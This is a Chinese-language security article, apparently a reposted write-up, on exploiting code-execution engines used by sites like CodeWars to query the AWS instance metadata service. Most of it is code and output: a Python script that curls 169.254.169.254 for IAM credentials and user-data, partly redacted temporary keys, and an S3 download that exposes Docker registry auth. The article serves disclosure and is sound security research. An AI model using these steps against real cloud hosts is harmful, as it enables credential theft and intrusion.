本文讲的是
利用SSRF漏洞滥用AWS元数据服务,
我最近在
一个小型玩具项目
上工作,是在Docker容器中执行不信任的Python代码。我测试了几个在线的代码执行引擎,想看看它们对各种攻击的反应。在我这样做的时候,我发现
Qualified
开发的代码执行引擎中有几个有趣的漏洞,这些漏洞已经被广泛使用,包括
CodeWars
或
InterviewCake
等网站。能够运行代码与网络访问的这两个组合以及在Amazon Web Services中运行的基础架构使得我可以在本文中展示一些非常有趣的漏洞。
import os os.system("my command")
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 ...
import os os.system("curl ifconfig.co")
107.20.17.162
$ nslookup 107.20.17.162 Non-authoritative answer: 162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
import os def get_endpoint(endpoint): os.system("curl http:/169.254.169.254" + endpoint) print() print("[*] AMI id") get_endpoint("/latest/meta-data/ami-id") print("[*] Security credentials") get_endpoint("/latest/meta-data/iam/security-credentials/") print("[*] User script") get_endpoint("/latest/user-data/")
[*] AMI id ami-246cc332 [*] Security credentials ecsInstanceRole [*] User script aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials ... echo "pulling latest runner image" docker pull codewars/runner-server:latest ... nrsysmond-config --set license_key=999b5f6[...]ac
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole") { "Code" : "Success", "LastUpdated" : "2017-03-26T09:59:42Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAIR[redacted]XQ", "SecretAccessKey" : "42oRmJ[redacted]K2IRR", "Token" : "FQoDYXdzEOv//////[redacted]", "Expiration" : "2017-03-26T16:29:16Z" }
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "ecs:CreateCluster", "ecs:DeregisterContainerInstance", "ecs:DiscoverPollEndpoint", "ecs:Poll", "ecs:RegisterContainerInstance", "ecs:StartTelemetrySession", "ecs:Submit*", "ecr:GetAuthorizationToken", "ecr:BatchCheckLayerAvailability", "ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "*" } ] }
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config ... echo "pulling latest runner image" docker pull codewars/runner-server:latest ... nrsysmond-config --set license_key=999b5f6[...redacted...]ac
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config download: s3://ecs-conf/ecs.config to ./ecs.config root@kali:~# cat ecs.config ECS_ENGINE_AUTH_TYPE=dockercfg ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
原文发布时间为:2017年7月7日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。